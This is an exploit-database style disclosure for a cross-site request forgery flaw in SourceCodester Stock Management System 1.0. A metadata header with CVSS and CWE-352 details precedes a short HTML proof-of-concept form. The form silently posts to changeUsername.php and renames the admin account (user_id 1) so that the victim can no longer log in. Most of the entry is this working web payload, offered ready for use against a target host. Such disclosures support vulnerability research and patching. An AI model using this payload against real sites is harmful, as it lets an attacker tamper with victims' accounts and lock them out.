# Exploit Title: Stock Management System 1.0 - Cross-Site Request Forgery (Change Username)
# Exploit Author: Bobby Cooke & Adeeb Shah (@hyd3sec)
# CVE ID: N/A
# Date: 2020-09-01
# Vendor Homepage: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip
# Version: 1.0
# Tested On: Windows 10 Pro + XAMPP | Python 2.7
# CWE-352: Cross-Site Request Forgery (CSRF)
# CVSS Base Score: 5.9 | Impact Subscore: 4.2 | Exploitability Subscore: 1.6
# CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H
# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in 'changeUsername.php' webpage of SourceCodesters
# Stock Management System v1.0 allows remote attackers to deny future logins via changing the
# authenticated victims username when they visit a third-party site.
# PoC - Form Method
# Change <TARGET-HOST> to target IP address or hostname
<html>
<body>
<form action="http://<TARGET-HOST>/stock/php_action/changeUsername.php" method="POST">
<input type="hidden" name="username" value="BOKU" />
<input type="hidden" name="user_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
